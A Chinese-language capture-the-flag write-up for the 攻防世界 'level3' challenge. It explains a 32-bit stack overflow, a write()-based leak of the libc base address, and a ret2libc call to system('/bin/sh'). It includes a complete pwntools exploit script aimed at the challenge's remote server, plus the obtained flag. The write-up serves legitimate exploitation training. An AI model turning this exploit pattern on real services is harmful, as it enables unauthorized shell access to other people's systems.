收获

  • elf 文件中没有给出 system() 函数和字符串 "/bin/sh" 的地址时,如果给出了一个库文件 libc,可以通过库文件来确定基地址,然后根据基地址反向推出 elf 文件中的 system() 函数以及 "/bin/sh" 的地址

【攻防世界】level3


思路

得到一个可执行文件和一个 32 位库文件:

攻防世界-level3 1.png

查看文件信息:

攻防世界-level3 2.png

32 位 小端序,只开启了栈不可执行

尝试运行:

攻防世界-level3 3.png

在 IDA 中分析:

攻防世界-level3 4.png

进入漏洞函数 vulnerable_function()

攻防世界-level3 5.png

查看 buf 所在位置:

攻防世界-level3 6.png

buf 在栈中的长度为 0x88,但可以通过 read() 输入的长度为 0x100,存在溢出点

查看字符串:

攻防世界-level3 7.png

本题没有 "/bin/sh",也无法向段中写入数据

在 IDA 中查看函数:

攻防世界-level3 8.png

发现本题没有给出 system() 函数

但是由于本题给出了一个 32 位 库文件,结合题目给出的提示,通过该 libc 库文件入手
同时,根据题目,程序中没有现成的 system() 函数,这就需要我们从 libc 中动态加载 system() 函数

由于 PIE 没有开启,也就是说程序地址不是随机化的,那么在 libc 中函数的偏移地址就是固定的,只要确定了 libc 的基地址,然后计算出 system() 函数的偏移地址,就可以定位到 system() 函数的真实地址,实现调用

libc 中的函数的相对地址是固定的,要想获取到 system() 函数的地址,可以通过 write() 函数进行 offset 计算:

  1. 首先利用 write() 函数计算出 write() 函数的真实地址
  2. 利用相对 offset 计算出 system() 函数和 "/bin/sh" 的真实地址

先使用 write() 泄露 got 表中的地址,计算出 libc 的基地址,调用完成之后返回到 vulnerable_function(),计算出 system() 函数和 "/bin/sh" 在内存中的地址,然后再进行一次栈溢出调用 system("/bin/sh") 即可


脚本

from pwn import *

context(os='linux', arch='i386', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

# elf
elf = ELF("./level3/level3")  # 生成elf对象
elf_main_addr = elf.symbols["main"]  # 获取elf文件中main函数的地址
elf_write_plt_addr = elf.plt["write"]  # 获取elf文件中write函数在PLT表中的地址
elf_write_got_addr = elf.got["write"]  # 获取elf文件中write函数在GOT表中的地址

# libc
libc = ELF("./level3/libc_32.so.6")  # 生成libc对象
libc_write_addr = libc.symbols["write"]  # 获取libc库中的write函数的地址
libc_system_addr = libc.symbols["system"]  # 获取libc库中的system函数的地址
lib_bin_sh_addr = next(libc.search(b'/bin/sh'))  # 在libc库中搜索"/bin/sh"字符串的地址


def main():
    if content == 1:
        io = process("./level3/level3")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 63027)  # 题目的远程端口,注意是remote

    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(elf_write_plt_addr) + p32(elf_main_addr)
    payload += p32(1) + p32(elf_write_got_addr) + p32(4)

    io.recvuntil("Input:\n")
    io.sendline(payload)
    write_addr = u32(io.recv()[:4])  # 接收数据: write函数在elf文件中的地址
    print("write_addr: ", hex(write_addr))  # 将此地址打印出来(每次执行结果不一样)

    base_addr = write_addr - libc_write_addr  # 根据elf文件中的write_addr计算得到基地址
    system_addr = base_addr + libc_system_addr  # 根据基地址base_addr计算得到elf文件中system函数地址
    bin_sh_addr = base_addr + lib_bin_sh_addr  # 根据基地址base_addr计算得到elf文件中"/bin/sh"的地址

    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(system_addr)  # 得到了函数在elf文件中的真实地址后,按照以往的正常调用方式来写即可
    payload = payload + b'aaaa' + p32(bin_sh_addr)  # 填充4个垃圾字符平衡栈,使"/bin/sh"作为system函数的参数

    io.recvuntil("Input:\n")
    io.sendline(payload)

    io.interactive()


main()

结果

cyberpeace{ee17c7e9631b2894da88efa5205b4a8c}

攻防世界-level3 9.png